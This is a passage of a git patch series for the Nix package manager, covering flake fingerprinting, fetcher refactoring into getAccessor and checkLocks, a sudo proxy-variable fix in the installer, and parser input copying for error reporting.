input) const override + { + /* If this path is in the Nix store, use the hash of the + store object and the subpath. */ + auto path = getAbsPath(input); + try { + auto [storePath, subPath] = store->toStorePath(path.abs()); + auto info = store->queryPathInfo(storePath); + return fmt("path:%s:%s", info->narHash.to_string(HashFormat::Base16, false), subPath); + } catch (Error &) { + return std::nullopt; + } + } + std::optional experimentalFeature() const override { return Xp::Flakes; From 6558da45f5497eb54cc42866f81a3660862056ff Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Mon, 4 Mar 2024 19:22:23 +0100 Subject: [PATCH 27/90] LockedFlake::getFingerprint(): Use Input::getFingerprint() --- src/libcmd/installables.cc | 4 ++-- src/libexpr/flake/flake.cc | 15 +++++++-------- src/libexpr/flake/flake.hh | 2 +- 3 files changed, 10 insertions(+), 11 deletions(-) diff --git a/src/libcmd/installables.cc b/src/libcmd/installables.cc index d87d7b9b1..6db9bf9a1 100644 --- a/src/libcmd/installables.cc +++ b/src/libcmd/installables.cc @@ -443,10 +443,10 @@ ref openEvalCache( EvalState & state, std::shared_ptr lockedFlake) { - auto fingerprint = lockedFlake->getFingerprint(); + auto fingerprint = lockedFlake->getFingerprint(state.store); return make_ref( evalSettings.useEvalCache && evalSettings.pureEval - ? std::optional { std::cref(fingerprint) } + ? fingerprint : std::nullopt, state, [&state, lockedFlake]() diff --git a/src/libexpr/flake/flake.cc b/src/libexpr/flake/flake.cc index fd9341504..4a69bb381 100644 --- a/src/libexpr/flake/flake.cc +++ b/src/libexpr/flake/flake.cc @@ -926,18 +926,17 @@ static RegisterPrimOp r4({ } -Fingerprint LockedFlake::getFingerprint() const +std::optional LockedFlake::getFingerprint(ref store) const { + if (lockFile.isUnlocked()) return std::nullopt; + + auto fingerprint = flake.lockedRef.input.getFingerprint(store); + if (!fingerprint) return std::nullopt; + // FIXME: as an optimization, if the flake contains a lock file // and we haven't changed it, then it's sufficient to use // flake.sourceInfo.storePath for the fingerprint. - return hashString(HashAlgorithm::SHA256, - fmt("%s;%s;%d;%d;%s", - flake.path.to_string(), - flake.lockedRef.subdir, - flake.lockedRef.input.getRevCount().value_or(0), - flake.lockedRef.input.getLastModified().value_or(0), - lockFile)); + return hashString(HashAlgorithm::SHA256, fmt("%s;%s;%s", *fingerprint, flake.lockedRef.subdir, lockFile)); } Flake::~Flake() { } diff --git a/src/libexpr/flake/flake.hh b/src/libexpr/flake/flake.hh index 48907813f..1ba085f0f 100644 --- a/src/libexpr/flake/flake.hh +++ b/src/libexpr/flake/flake.hh @@ -119,7 +119,7 @@ struct LockedFlake */ std::map, SourcePath> nodePaths; - Fingerprint getFingerprint() const; + std::optional getFingerprint(ref store) const; }; struct LockFlags From 8a6ef3bae525e04b4cf5f460edf5a8e49cf8928f Mon Sep 17 00:00:00 2001 From: Valentin Gagarin Date: Mon, 4 Mar 2024 19:25:28 +0100 Subject: [PATCH 28/90] less scary jq MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Co-authored-by: Théophane Hufschmitt <7226587+thufschmitt@users.noreply.github.com> --- tests/functional/help.sh | 22 ++++++---------------- 1 file changed, 6 insertions(+), 16 deletions(-) diff --git a/tests/functional/help.sh b/tests/functional/help.sh index 74531c5d0..868f5d2e9 100644 --- a/tests/functional/help.sh +++ b/tests/functional/help.sh @@ -53,24 +53,14 @@ nix-prefetch-url --help function subcommands() { jq -r ' def recurse($prefix): - if .commands then - .commands | to_entries[] | .key as $k | - ($prefix + " " + $k) as $newPrefix | - if .value | has("commands") then - (.value | recurse($newPrefix)) + to_entries[] | + ($prefix + [.key]) as $newPrefix | + (if .value | has("commands") then + ($newPrefix, (.value.commands | recurse($newPrefix))) else $newPrefix - end - else - $prefix - end; - -.args.commands | to_entries[] | .key as $cmd | - if .value | has("commands") then - (.value | recurse($cmd)) - else - $cmd - end + end); +.args.commands | recurse([]) | join(" ") ' } From 8d23847571c2921558cbcc7593de19e7a2edd944 Mon Sep 17 00:00:00 2001 From: Valentin Gagarin Date: Mon, 4 Mar 2024 19:25:44 +0100 Subject: [PATCH 29/90] fix indentation MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Co-authored-by: Théophane Hufschmitt <7226587+thufschmitt@users.noreply.github.com> --- tests/functional/local.mk | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/tests/functional/local.mk b/tests/functional/local.mk index e36323a45..8bb8e3600 100644 --- a/tests/functional/local.mk +++ b/tests/functional/local.mk @@ -130,7 +130,7 @@ nix_tests = \ nested-sandboxing.sh \ impure-env.sh \ debugger.sh \ - help.sh + help.sh ifeq ($(HAVE_LIBCPUID), 1) nix_tests += compute-levels.sh From 2306e967674a7016c556e90e94e5f1e80171892a Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Mon, 4 Mar 2024 19:30:38 +0100 Subject: [PATCH 30/90] nix profile upgrade: Always upgrade unlocked flakerefs The "lockedRef" field is a misnomer, since it can be unlocked (e.g. for a dirty Git workdir). In that case, `nix profile upgrade` needs to assume that the package can have changed, and perform an upgrade. --- src/nix/profile.cc | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/src/nix/profile.cc b/src/nix/profile.cc index d39a24d36..60b58a78b 100644 --- a/src/nix/profile.cc +++ b/src/nix/profile.cc @@ -648,7 +648,9 @@ struct CmdProfileUpgrade : virtual SourceExprCommand, MixDefaultProfile, MixProf assert(infop); auto & info = *infop; - if (element.source->lockedRef == info.flake.lockedRef) continue; + if (info.flake.lockedRef.input.isLocked() + && element.source->lockedRef == info.flake.lockedRef) + continue; printInfo("upgrading '%s' from flake '%s' to '%s'", element.source->attrPath, element.source->lockedRef, info.flake.lockedRef); From 32bf39c73a9681317c4288aab16038dc6b401900 Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Mon, 4 Mar 2024 19:37:43 +0100 Subject: [PATCH 31/90] nix flake metadata: Don't show locked URL if it's not locked This is the case for e.g. dirty Git workdirs, where we would get $ nix flake metadata Resolved URL: git+file:///home/eelco/Dev/nix-master Locked URL: git+file:///home/eelco/Dev/nix-master --- src/nix/flake.cc | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) diff --git a/src/nix/flake.cc b/src/nix/flake.cc index 5fc3f4166..3cd702254 100644 --- a/src/nix/flake.cc +++ b/src/nix/flake.cc @@ -219,6 +219,8 @@ struct CmdFlakeMetadata : FlakeCommand, MixJSON j["resolvedUrl"] = flake.resolvedRef.to_string(); j["resolved"] = fetchers::attrsToJSON(flake.resolvedRef.toAttrs()); j["url"] = flake.lockedRef.to_string(); // FIXME: rename to lockedUrl + // "locked" is a misnomer - this is the result of the + // attempt to lock. j["locked"] = fetchers::attrsToJSON(flake.lockedRef.toAttrs()); if (auto rev = flake.lockedRef.input.getRev()) j["revision"] = rev->to_string(HashFormat::Base16, false); @@ -235,9 +237,10 @@ struct CmdFlakeMetadata : FlakeCommand, MixJSON logger->cout( ANSI_BOLD "Resolved URL:" ANSI_NORMAL " %s", flake.resolvedRef.to_string()); - logger->cout( - ANSI_BOLD "Locked URL:" ANSI_NORMAL " %s", - flake.lockedRef.to_string()); + if (flake.lockedRef.input.isLocked()) + logger->cout( + ANSI_BOLD "Locked URL:" ANSI_NORMAL " %s", + flake.lockedRef.to_string()); if (flake.description) logger->cout( ANSI_BOLD "Description:" ANSI_NORMAL " %s", From 9ee590e11301cda2b5d6341fb77f13369c3107e6 Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Mon, 4 Mar 2024 21:54:35 +0100 Subject: [PATCH 32/90] PosixSourceAccessor::cachedLstat(): Use absolute path Using the relative path can cause collisions between cache entries for PosixSourceAccessors with different roots. --- src/libutil/posix-source-accessor.cc | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) diff --git a/src/libutil/posix-source-accessor.cc b/src/libutil/posix-source-accessor.cc index f8ec7fc6b..e91943c4c 100644 --- a/src/libutil/posix-source-accessor.cc +++ b/src/libutil/posix-source-accessor.cc @@ -85,16 +85,18 @@ bool PosixSourceAccessor::pathExists(const CanonPath & path) std::optional PosixSourceAccessor::cachedLstat(const CanonPath & path) { - static Sync>> _cache; + static Sync>> _cache; + + auto absPath = makeAbsPath(path); { auto cache(_cache.lock()); - auto i = cache->find(path); + auto i = cache->find(absPath); if (i != cache->end()) return i->second; } std::optional st{std::in_place}; - if (::lstat(makeAbsPath(path).c_str(), &*st)) { + if (::lstat(absPath.c_str(), &*st)) { if (errno == ENOENT || errno == ENOTDIR) st.reset(); else @@ -103,7 +105,7 @@ std::optional PosixSourceAccessor::cachedLstat(const CanonPath & pa auto cache(_cache.lock()); if (cache->size() >= 16384) cache->clear(); - cache->emplace(path, st); + cache->emplace(absPath, st); return st; } From 4967c5ff6ba96b27ad1d855b3b32712c0fc3dfcf Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Mon, 4 Mar 2024 22:24:12 +0100 Subject: [PATCH 33/90] Fix macOS build --- src/libutil/posix-source-accessor.cc | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/src/libutil/posix-source-accessor.cc b/src/libutil/posix-source-accessor.cc index e91943c4c..41c2db59a 100644 --- a/src/libutil/posix-source-accessor.cc +++ b/src/libutil/posix-source-accessor.cc @@ -85,9 +85,11 @@ bool PosixSourceAccessor::pathExists(const CanonPath & path) std::optional PosixSourceAccessor::cachedLstat(const CanonPath & path) { - static Sync>> _cache; + static Sync>> _cache; - auto absPath = makeAbsPath(path); + // Note: we convert std::filesystem::path to Path because the + // former is not hashable on libc++. + Path absPath = makeAbsPath(path); { auto cache(_cache.lock()); From 0e07f81d2ba532e140539e91b57d6f85c952fee2 Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Mon, 4 Mar 2024 22:17:24 +0100 Subject: [PATCH 34/90] Fetcher cleanups * Convert all InputScheme::fetch() methods to getAccessor(). * Add checkLocks() method for checking lock attributes. * Rename fetch() to fetchToStore(). --- src/libexpr/flake/flakeref.cc | 2 +- src/libexpr/primops/fetchMercurial.cc | 3 +- src/libexpr/primops/fetchTree.cc | 2 +- src/libfetchers/fetchers.cc | 107 +++++++++++++++----------- src/libfetchers/fetchers.hh | 25 +++++- src/libfetchers/git.cc | 2 - src/libfetchers/github.cc | 2 - src/libfetchers/indirect.cc | 2 +- src/libfetchers/mercurial.cc | 26 ++++--- src/libfetchers/path.cc | 6 +- src/nix/flake.cc | 2 +- src/nix/registry.cc | 4 +- 12 files changed, 112 insertions(+), 71 deletions(-) diff --git a/src/libexpr/flake/flakeref.cc b/src/libexpr/flake/flakeref.cc index 86a0982f3..6fe64fd72 100644 --- a/src/libexpr/flake/flakeref.cc +++ b/src/libexpr/flake/flakeref.cc @@ -274,7 +274,7 @@ FlakeRef FlakeRef::fromAttrs(const fetchers::Attrs & attrs) std::pair FlakeRef::fetchTree(ref store) const { - auto [storePath, lockedInput] = input.fetch(store); + auto [storePath, lockedInput] = input.fetchToStore(store); return {std::move(storePath), FlakeRef(std::move(lockedInput), subdir)}; } diff --git a/src/libexpr/primops/fetchMercurial.cc b/src/libexpr/primops/fetchMercurial.cc index bb029b5b3..bfc19115a 100644 --- a/src/libexpr/primops/fetchMercurial.cc +++ b/src/libexpr/primops/fetchMercurial.cc @@ -64,8 +64,7 @@ static void prim_fetchMercurial(EvalState & state, const PosIdx pos, Value * * a if (rev) attrs.insert_or_assign("rev", rev->gitRev()); auto input = fetchers::Input::fromAttrs(std::move(attrs)); - // FIXME: use name - auto [storePath, input2] = input.fetch(state.store); + auto [storePath, input2] = input.fetchToStore(state.store); auto attrs2 = state.buildBindings(8); state.mkStorePathString(storePath, attrs2.alloc(state.sOutPath)); diff --git a/src/libexpr/primops/fetchTree.cc b/src/libexpr/primops/fetchTree.cc index cfedfa6c4..5061e40fd 100644 --- a/src/libexpr/primops/fetchTree.cc +++ b/src/libexpr/primops/fetchTree.cc @@ -182,7 +182,7 @@ static void fetchTree( state.checkURI(input.toURLString()); - auto [storePath, input2] = input.fetch(state.store); + auto [storePath, input2] = input.fetchToStore(state.store); state.allowPath(storePath); diff --git a/src/libfetchers/fetchers.cc b/src/libfetchers/fetchers.cc index 363ad018e..483796f0b 100644 --- a/src/libfetchers/fetchers.cc +++ b/src/libfetchers/fetchers.cc @@ -161,7 +161,7 @@ bool Input::contains(const Input & other) const return false; } -std::pair Input::fetch(ref store) const +std::pair Input::fetchToStore(ref store) const { if (!scheme) throw Error("cannot fetch unsupported input '%s'", attrsToJSON(toAttrs())); @@ -186,56 +186,85 @@ std::pair Input::fetch(ref store) const auto [storePath, input] = [&]() -> std::pair { try { - return scheme->fetch(store, *this); + auto [accessor, final] = getAccessorUnchecked(store); + + auto storePath = nix::fetchToStore(*store, SourcePath(accessor), FetchMode::Copy, final.getName()); + + auto narHash = store->queryPathInfo(storePath)->narHash; + final.attrs.insert_or_assign("narHash", narHash.to_string(HashFormat::SRI, true)); + + scheme->checkLocks(*this, final); + + return {storePath, final}; } catch (Error & e) { e.addTrace({}, "while fetching the input '%s'", to_string()); throw; } }(); - auto narHash = store->queryPathInfo(storePath)->narHash; - input.attrs.insert_or_assign("narHash", narHash.to_string(HashFormat::SRI, true)); - - if (auto prevNarHash = getNarHash()) { - if (narHash != *prevNarHash) - throw Error((unsigned int) 102, "NAR hash mismatch in input '%s' (%s), expected '%s', got '%s'", - to_string(), - store->printStorePath(storePath), - prevNarHash->to_string(HashFormat::SRI, true), - narHash.to_string(HashFormat::SRI, true)); - } - - if (auto prevLastModified = getLastModified()) { - if (input.getLastModified() != prevLastModified) - throw Error("'lastModified' attribute mismatch in input '%s', expected %d", - input.to_string(), *prevLastModified); - } - - if (auto prevRev = getRev()) { - if (input.getRev() != prevRev) - throw Error("'rev' attribute mismatch in input '%s', expected %s", - input.to_string(), prevRev->gitRev()); - } - - if (auto prevRevCount = getRevCount()) { - if (input.getRevCount() != prevRevCount) - throw Error("'revCount' attribute mismatch in input '%s', expected %d", - input.to_string(), *prevRevCount); - } - return {std::move(storePath), input}; } +void InputScheme::checkLocks(const Input & specified, const Input & final) const +{ + if (auto prevNarHash = specified.getNarHash()) { + if (final.getNarHash() != prevNarHash) { + if (final.getNarHash()) + throw Error((unsigned int) 102, "NAR hash mismatch in input '%s', expected '%s' but got '%s'", + specified.to_string(), prevNarHash->to_string(HashFormat::SRI, true), final.getNarHash()->to_string(HashFormat::SRI, true)); + else + throw Error((unsigned int) 102, "NAR hash mismatch in input '%s', expected '%s' but got none", + specified.to_string(), prevNarHash->to_string(HashFormat::SRI, true)); + } + } + + if (auto prevLastModified = specified.getLastModified()) { + if (final.getLastModified() != prevLastModified) + throw Error("'lastModified' attribute mismatch in input '%s', expected %d", + final.to_string(), *prevLastModified); + } + + if (auto prevRev = specified.getRev()) { + if (final.getRev() != prevRev) + throw Error("'rev' attribute mismatch in input '%s', expected %s", + final.to_string(), prevRev->gitRev()); + } + + if (auto prevRevCount = specified.getRevCount()) { + if (final.getRevCount() != prevRevCount) + throw Error("'revCount' attribute mismatch in input '%s', expected %d", + final.to_string(), *prevRevCount); + } +} + std::pair, Input> Input::getAccessor(ref store) const { try { - return scheme->getAccessor(store, *this); + auto [accessor, final] = getAccessorUnchecked(store); + + scheme->checkLocks(*this, final); + + return {accessor, std::move(final)}; } catch (Error & e) { e.addTrace({}, "while fetching the input '%s'", to_string()); throw; } } +std::pair, Input> Input::getAccessorUnchecked(ref store) const +{ + // FIXME: cache the accessor + + if (!scheme) + throw Error("cannot fetch unsupported input '%s'", attrsToJSON(toAttrs())); + + auto [accessor, final] = scheme->getAccessor(store, *this); + + accessor->fingerprint = scheme->getFingerprint(store, final); + + return {accessor, std::move(final)}; +} + Input Input::applyOverrides( std::optional ref, std::optional rev) const @@ -372,18 +401,6 @@ void InputScheme::clone(const Input & input, const Path & destDir) const throw Error("do not know how to clone input '%s'", input.to_string()); } -std::pair InputScheme::fetch(ref store, const Input & input) -{ - auto [accessor, input2] = getAccessor(store, input); - auto storePath = fetchToStore(*store, SourcePath(accessor), FetchMode::Copy, input2.getName()); - return {storePath, input2}; -} - -std::pair, Input> InputScheme::getAccessor(ref store, const Input & input) const -{ - throw UnimplementedError("InputScheme must implement fetch() or getAccessor()"); -} - std::optional InputScheme::experimentalFeature() const { return {}; diff --git a/src/libfetchers/fetchers.hh b/src/libfetchers/fetchers.hh index 472fba6f4..cd11f9eae 100644 --- a/src/libfetchers/fetchers.hh +++ b/src/libfetchers/fetchers.hh @@ -80,10 +80,21 @@ public: * Fetch the entire input into the Nix store, returning the * location in the Nix store and the locked input. */ - std::pair fetch(ref store) const; + std::pair fetchToStore(ref store) const; + /** + * Return an InputAccessor that allows access to files in the + * input without copying it to the store. Also return a possibly + * unlocked input. + */ std::pair, Input> getAccessor(ref store) const; +private: + + std::pair, Input> getAccessorUnchecked(ref store) const; + +public: + Input applyOverrides( std::optional ref, std::optional rev) const; @@ -173,9 +184,7 @@ struct InputScheme std::string_view contents, std::optional commitMsg) const; - virtual std::pair fetch(ref store, const Input & input); - - virtual std::pair, Input> getAccessor(ref store, const Input & input) const; + virtual std::pair, Input> getAccessor(ref store, const Input & input) const = 0; /** * Is this `InputScheme` part of an experimental feature? @@ -202,6 +211,14 @@ struct InputScheme */ virtual bool isLocked(const Input & input) const { return false; } + + /** + * Check the locking attributes in `final` against + * `specified`. E.g. if `specified` has a `rev` attribute, then + * `final` must have the same `rev` attribute. Throw an exception + * if there is a mismatch. + */ + virtual void checkLocks(const Input & specified, const Input & final) const; }; void registerInputScheme(std::shared_ptr && fetcher); diff --git a/src/libfetchers/git.cc b/src/libfetchers/git.cc index 87d114276..25eabb1dc 100644 --- a/src/libfetchers/git.cc +++ b/src/libfetchers/git.cc @@ -761,8 +761,6 @@ struct GitInputScheme : InputScheme ? getAccessorFromCommit(store, repoInfo, std::move(input)) : getAccessorFromWorkdir(store, repoInfo, std::move(input)); - accessor->fingerprint = final.getFingerprint(store); - return {accessor, std::move(final)}; } diff --git a/src/libfetchers/github.cc b/src/libfetchers/github.cc index a48c99a0b..d9d348756 100644 --- a/src/libfetchers/github.cc +++ b/src/libfetchers/github.cc @@ -275,8 +275,6 @@ struct GitArchiveInputScheme : InputScheme accessor->setPathDisplay("«" + input.to_string() + "»"); - accessor->fingerprint = input.getFingerprint(store); - return {accessor, input}; } diff --git a/src/libfetchers/indirect.cc b/src/libfetchers/indirect.cc index 002c0c292..3f21445e1 100644 --- a/src/libfetchers/indirect.cc +++ b/src/libfetchers/indirect.cc @@ -97,7 +97,7 @@ struct IndirectInputScheme : InputScheme return input; } - std::pair fetch(ref store, const Input & input) override + std::pair, Input> getAccessor(ref store, const Input & input) const override { throw Error("indirect input '%s' cannot be fetched directly", input.to_string()); } diff --git a/src/libfetchers/mercurial.cc b/src/libfetchers/mercurial.cc index a5f55a44e..a2702338f 100644 --- a/src/libfetchers/mercurial.cc +++ b/src/libfetchers/mercurial.cc @@ -6,8 +6,8 @@ #include "tarfile.hh" #include "store-api.hh" #include "url-parts.hh" +#include "fs-input-accessor.hh" #include "posix-source-accessor.hh" - #include "fetch-settings.hh" #include @@ -161,9 +161,9 @@ struct MercurialInputScheme : InputScheme return {isLocal, isLocal ? url.path : url.base}; } - std::pair fetch(ref store, const Input & _input) override + StorePath fetchToStore(ref store, Input & input) const { - Input input(_input); + auto origRev = input.getRev(); auto name = input.getName(); @@ -218,7 +218,7 @@ struct MercurialInputScheme : InputScheme FileIngestionMethod::Recursive, HashAlgorithm::SHA256, {}, filter); - return {std::move(storePath), input}; + return storePath; } } @@ -242,13 +242,12 @@ struct MercurialInputScheme : InputScheme }); }; - auto makeResult = [&](const Attrs & infoAttrs, StorePath && storePath) - -> std::pair + auto makeResult = [&](const Attrs & infoAttrs, const StorePath & storePath) -> StorePath { assert(input.getRev()); - assert(!_input.getRev() || _input.getRev() == input.getRev()); + assert(!origRev || origRev == input.getRev()); input.attrs.insert_or_assign("revCount", getIntAttr(infoAttrs, "revCount")); - return {std::move(storePath), input}; + return storePath; }; if (input.getRev()) { @@ -329,7 +328,7 @@ struct MercurialInputScheme : InputScheme {"revCount", (uint64_t) revCount}, }); - if (!_input.getRev()) + if (!origRev) getCache()->add( *store, unlockedAttrs, @@ -347,6 +346,15 @@ struct MercurialInputScheme : InputScheme return makeResult(infoAttrs, std::move(storePath)); } + std::pair, Input> getAccessor(ref store, const Input & _input) const override + { + Input input(_input); + + auto storePath = fetchToStore(store, input); + + return {makeStorePathAccessor(store, storePath), input}; + } + bool isLocked(const Input & input) const override { return (bool) input.getRev(); diff --git a/src/libfetchers/path.cc b/src/libfetchers/path.cc index 276fd1b36..6cc482ebf 100644 --- a/src/libfetchers/path.cc +++ b/src/libfetchers/path.cc @@ -1,6 +1,8 @@ #include "fetchers.hh" #include "store-api.hh" #include "archive.hh" +#include "fs-input-accessor.hh" +#include "posix-source-accessor.hh" namespace nix::fetchers { @@ -102,7 +104,7 @@ struct PathInputScheme : InputScheme throw Error("cannot fetch input '%s' because it uses a relative path", input.to_string()); } - std::pair fetch(ref store, const Input & _input) override + std::pair, Input> getAccessor(ref store, const Input & _input) const override { Input input(_input); std::string absPath; @@ -144,7 +146,7 @@ struct PathInputScheme : InputScheme } input.attrs.insert_or_assign("lastModified", uint64_t(mtime)); - return {std::move(*storePath), input}; + return {makeStorePathAccessor(store, *storePath), std::move(input)}; } std::optional experimentalFeature() const override diff --git a/src/nix/flake.cc b/src/nix/flake.cc index 5fc3f4166..5e4269588 100644 --- a/src/nix/flake.cc +++ b/src/nix/flake.cc @@ -1050,7 +1050,7 @@ struct CmdFlakeArchive : FlakeCommand, MixJSON, MixDryRun auto storePath = dryRun ? (*inputNode)->lockedRef.input.computeStorePath(*store) - : (*inputNode)->lockedRef.input.fetch(store).first; + : (*inputNode)->lockedRef.input.fetchToStore(store).first; if (json) { auto& jsonObj3 = jsonObj2[inputName]; jsonObj3["path"] = store->printStorePath(storePath); diff --git a/src/nix/registry.cc b/src/nix/registry.cc index 0346ec1e0..812429240 100644 --- a/src/nix/registry.cc +++ b/src/nix/registry.cc @@ -188,7 +188,9 @@ struct CmdRegistryPin : RegistryCommand, EvalCommand auto ref = parseFlakeRef(url); auto lockedRef = parseFlakeRef(locked); registry->remove(ref.input); - auto [tree, resolved] = lockedRef.resolve(store).input.fetch(store); + auto resolved = lockedRef.resolve(store).input.getAccessor(store).second; + if (!resolved.isLocked()) + warn("flake '%s' is not locked", resolved.to_string()); fetchers::Attrs extraAttrs; if (ref.subdir != "") extraAttrs["dir"] = ref.subdir; registry->add(ref.input, resolved, extraAttrs); From 7161ef14a2f26fa4f1be9633de2f423492ee76c7 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Th=C3=A9ophane=20Hufschmitt?= <7226587+thufschmitt@users.noreply.github.com> Date: Tue, 5 Mar 2024 08:07:58 +0100 Subject: [PATCH 35/90] Add a warning against carelessly changing the profile version number Try and prevent the situation of https://github.com/NixOS/nix/issues/10109 to happen again in the future --- src/nix/profile.cc | 2 ++ 1 file changed, 2 insertions(+) diff --git a/src/nix/profile.cc b/src/nix/profile.cc index d39a24d36..2bb29a67b 100644 --- a/src/nix/profile.cc +++ b/src/nix/profile.cc @@ -222,6 +222,8 @@ struct ProfileManifest es[name] = obj; } nlohmann::json json; + // Only upgrade with great care as changing it can break fresh installs + // like in https://github.com/NixOS/nix/issues/10109 json["version"] = 3; json["elements"] = es; return json; From 2a3451077677787eae176c72717817ba80738a5e Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Tue, 5 Mar 2024 14:35:05 +0100 Subject: [PATCH 36/90] package.nix: Apply OBJC_DISABLE_INITIALIZE_FORK_SAFETY workaround This was previously already used in the launchd configuration for nix-daemon. (cherry picked from commit 855741aea57cd413a5da524169794a6790162d18) --- package.nix | 12 +++++++++--- 1 file changed, 9 insertions(+), 3 deletions(-) diff --git a/package.nix b/package.nix index a90973b4c..fa898e906 100644 --- a/package.nix +++ b/package.nix @@ -349,9 +349,15 @@ in { # Needed for tests if we are not doing a build, but testing existing # built Nix. - preInstallCheck = lib.optionalString (! doBuild) '' - mkdir -p src/nix-channel - ''; + preInstallCheck = + lib.optionalString (! doBuild) '' + mkdir -p src/nix-channel + '' + # See https://github.com/NixOS/nix/issues/2523 + # Occurs often in tests since https://github.com/NixOS/nix/pull/9900 + + lib.optionalString stdenv.hostPlatform.isDarwin '' + export OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES + ''; separateDebugInfo = !stdenv.hostPlatform.isStatic; From 686405ef416955621a89815e07cb64e1ee4f1495 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Th=C3=A9ophane=20Hufschmitt?= <7226587+thufschmitt@users.noreply.github.com> Date: Wed, 6 Mar 2024 22:36:37 +0100 Subject: [PATCH 37/90] Fix sudo in the darwin installer (#10128) --- scripts/install-multi-user.sh | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) diff --git a/scripts/install-multi-user.sh b/scripts/install-multi-user.sh index 1dbb93bf9..4d6a1914e 100644 --- a/scripts/install-multi-user.sh +++ b/scripts/install-multi-user.sh @@ -69,16 +69,17 @@ readonly PROXY_ENVIRONMENT_VARIABLES=( NO_PROXY ) -SUDO_EXTRA_ENVIRONMENT_VARIABLES=() +SUDO_KEPT_ENVIRONMENT_VARIABLES="" setup_sudo_extra_environment_variables() { - local i=${#SUDO_EXTRA_ENVIRONMENT_VARIABLES[@]} for variable in "${PROXY_ENVIRONMENT_VARIABLES[@]}"; do if [ "x${!variable:-}" != "x" ]; then - SUDO_EXTRA_ENVIRONMENT_VARIABLES[i]="$variable=${!variable}" - i=$((i + 1)) + SUDO_KEPT_ENVIRONMENT_VARIABLES="$SUDO_KEPT_ENVIRONMENT_VARIABLES,$variable" fi done + + # Required by the darwin installer + export SUDO_KEPT_ENVIRONMENT_VARIABLES } setup_sudo_extra_environment_variables @@ -386,7 +387,7 @@ _sudo() { if is_root; then env "$@" else - sudo "${SUDO_EXTRA_ENVIRONMENT_VARIABLES[@]}" "$@" + sudo --preserve-env="$SUDO_KEPT_ENVIRONMENT_VARIABLES" "$@" fi } From fe13d4a6e0d286d0ab8fcd8728bd41064dad69d0 Mon Sep 17 00:00:00 2001 From: link2xt Date: Wed, 6 Mar 2024 21:55:02 +0000 Subject: [PATCH 38/90] Make search.nixos.org link in quick start clickable --- doc/manual/src/quick-start.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/doc/manual/src/quick-start.md b/doc/manual/src/quick-start.md index 75853ced7..9eb7a3265 100644 --- a/doc/manual/src/quick-start.md +++ b/doc/manual/src/quick-start.md @@ -34,7 +34,7 @@ For more in-depth information you are kindly referred to subsequent chapters. lolcat: command not found ``` -1. Search for more packages on to try them out. +1. Search for more packages on [search.nixos.org](https://search.nixos.org/) to try them out. 1. Free up storage space: From d384ecd553aa997270b79ee98d02f7cf7e1849e6 Mon Sep 17 00:00:00 2001 From: pennae Date: Mon, 29 Jan 2024 06:19:23 +0100 Subject: [PATCH 39/90] keep copies of parser inputs that are in-memory only the parser modifies its inputs, which means that sharing them between the error context reporting system and the parser itself can confuse the reporting system. usually this led to early truncation of error context reports which, while not dangerous, can be quite confusing. --- src/libexpr/eval.cc | 16 +++++++++++----- .../lang/parse-fail-dup-attrs-1.err.exp | 1 + .../lang/parse-fail-dup-attrs-2.err.exp | 1 + .../lang/parse-fail-dup-attrs-3.err.exp | 1 + .../lang/parse-fail-dup-attrs-4.err.exp | 1 + .../lang/parse-fail-dup-attrs-7.err.exp | 1 + .../lang/parse-fail-undef-var-2.err.exp | 3 ++- tests/functional/lang/parse-fail-utf8.err.exp | 3 ++- 8 files changed, 20 insertions(+), 7 deletions(-) diff --git a/src/libexpr/eval.cc b/src/libexpr/eval.cc index 722ff6908..3d22723b3 100644 --- a/src/libexpr/eval.cc +++ b/src/libexpr/eval.cc @@ -2777,9 +2777,12 @@ Expr * EvalState::parseExprFromFile(const SourcePath & path, std::shared_ptr & staticEnv) { - auto s = make_ref(std::move(s_)); - s->append("\0\0", 2); - return parse(s->data(), s->size(), Pos::String{.source = s}, basePath, staticEnv); + // NOTE this method (and parseStdin) must take care to *fully copy* their input + // into their respective Pos::Origin until the parser stops overwriting its input + // data. + auto s = make_ref(s_); + s_.append("\0\0", 2); + return parse(s_.data(), s_.size(), Pos::String{.source = s}, basePath, staticEnv); } @@ -2791,12 +2794,15 @@ Expr * EvalState::parseExprFromString(std::string s, const SourcePath & basePath Expr * EvalState::parseStdin() { + // NOTE this method (and parseExprFromString) must take care to *fully copy* their + // input into their respective Pos::Origin until the parser stops overwriting its + // input data. //Activity act(*logger, lvlTalkative, "parsing standard input"); auto buffer = drainFD(0); // drainFD should have left some extra space for terminators buffer.append("\0\0", 2); - auto s = make_ref(std::move(buffer)); - return parse(s->data(), s->size(), Pos::Stdin{.source = s}, rootPath("."), staticBaseEnv); + auto s = make_ref(buffer); + return parse(buffer.data(), buffer.size(), Pos::Stdin{.source = s}, rootPath("."), staticBaseEnv); } diff --git a/tests/functional/lang/parse-fail-dup-attrs-1.err.exp b/tests/functional/lang/parse-fail-dup-attrs-1.err.exp index 6c3a3510c..ffb5198c1 100644 --- a/tests/functional/lang/parse-fail-dup-attrs-1.err.exp +++ b/tests/functional/lang/parse-fail-dup-attrs-1.err.exp @@ -3,3 +3,4 @@ error: attribute 'x' already defined at «stdin»:1:3 2| y = 456; 3| x = 789; | ^ + 4| } diff --git a/tests/functional/lang/parse-fail-dup-attrs-2.err.exp b/tests/functional/lang/parse-fail-dup-attrs-2.err.exp index fecdece20..4607a5d59 100644 --- a/tests/functional/lang/parse-fail-dup-attrs-2.err.exp +++ 